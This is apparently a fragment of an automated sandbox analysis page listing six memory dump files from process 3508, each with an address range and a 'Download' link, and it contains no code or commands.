memory/3508-20-0x0000000005730000-0x0000000005D58000-memory.dmp

Download

memory/3508-21-0x0000000005510000-0x0000000005532000-memory.dmp

Download

memory/3508-22-0x00000000055B0000-0x0000000005616000-memory.dmp

Download

memory/3508-35-0x00000000064C0000-0x000000000650C000-memory.dmp

Download

memory/3508-34-0x0000000006490000-0x00000000064AE000-memory.dmp

Download

memory/3508-33-0x0000000005DE0000-0x0000000006134000-memory.dmp

Download